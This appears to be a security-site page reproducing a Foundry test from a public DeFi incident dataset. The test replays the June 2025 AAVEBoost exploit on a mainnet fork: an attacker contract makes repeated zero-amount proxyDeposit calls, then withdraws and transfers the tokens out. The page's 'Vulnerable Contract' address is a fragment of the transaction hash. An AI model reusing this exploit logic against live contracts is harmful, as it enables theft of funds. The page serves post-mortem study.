Public reproduction file
src/test/2025-06/AAVEBoost_exp.sol
Public reproduction file for dataset entry AAVEBoost.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 14.8K USD7// Attacker : 0x5d4430d14ae1d11526ddac1c1ef01da3b1dae4558// Attack Contract : https://etherscan.io/address/0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de9// Vulnerable Contract : 10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce12// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/CertiKAlert/status/193301142815756318817// Twitter Guy : https://x.com/CertiKAlert/status/193301142815756318818// Hacking God : N/A20address constant AavePool = 0xf36F3976f288b2B4903aca8c177efC019b81D88B;21address constant InitializableAdminUpgradeabilityProxy = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;22address constant AaveBoost = 0xd2933c86216dC0c938FfAFEca3C8a2D6e633e2cA;23address constant attacker = 0x5D4430D14aE1d11526ddAc1c1eF01DA3b1DaE455;24address constant addr = 0x740836C95C6f3F49CccC65A27331D1f225138c39;26contract ContractTest is Test {27 function setUp() public {28 vm.createSelectFork("mainnet", 22685443);29 }31 function testPoC() public {32 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);33 vm.startPrank(attacker, attacker);34 AttackerC attC = new AttackerC();35 deal(address(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9), address(attC), 48900000000000000000);36 deal(address(0x740836C95C6f3F49CccC65A27331D1f225138c39), address(attC), 48900000000000000000);37 attC.attack();38 vm.stopPrank();39 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9).balanceOf(attacker), 18);40 }41}43contract AttackerC {44 function attack() public {45 require(msg.sender == attacker && tx.origin == attacker, "auth");47 uint256 balBoostToken = IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).balanceOf(AaveBoost);49 uint256 limit = balBoostToken / (3 * 10**17);50 uint256 idx = 0;51 while (idx < 163) {52 if (idx < limit) {53 (bool ok, ) = AaveBoost.call(abi.encodeWithSelector(IAaveBoost.proxyDeposit.selector, InitializableAdminUpgradeabilityProxy, address(this), uint128(0)));54 ok;55 }56 unchecked { idx++; }57 }59 if (163 >= limit) {60 uint256 aBal = IInitializableAdminUpgradeabilityProxy(addr).balanceOf(address(this));61 (bool ok1, ) = AavePool.call(abi.encodeWithSelector(IAavePool.withdraw.selector, InitializableAdminUpgradeabilityProxy, address(this), uint128(aBal), false));62 ok1;63 uint256 uBal = IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).balanceOf(address(this));64 IInitializableAdminUpgradeabilityProxy(InitializableAdminUpgradeabilityProxy).transfer(attacker, uBal);65 }66 }67}69interface IAavePool {70 function withdraw(address, address, uint128, bool) external;71}72interface IInitializableAdminUpgradeabilityProxy {73 function balanceOf(address) external returns (uint256);74 function transfer(address, uint256) external returns (bool); 75}76interface IAaveBoost {77 function proxyDeposit(address, address, uint128) external;78}Analysis
Dataset entry
Public Foundry test for “AAVEBoost” (2025-06-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
- src/test/2025-06/WaleCoin_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5d4430d14ae1d11526ddac1c1ef01da3b1dae455
- Attack Contract
0x8fa5cf0aa8af0e5adc7b43746ea033ca1b8e68de
- Vulnerable Contract
0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab5
- Attack Tx
0xc4ef3b5e39d862ffcb8ff591fbb587f89d9d4ab56aec70cfb15831782239c0ce
File record
- Name
- AAVEBoost
- Path
- src/test/2025-06/AAVEBoost_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f25fcdcef15b341724cb620109e5c54af62f7e8b
- Language
- Solidity
- Size
- 78 lines
- Date
- 2025-06-12
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/AAVEBoost_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f25fcdcef15b341724cb620109e5c54af62f7e8b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.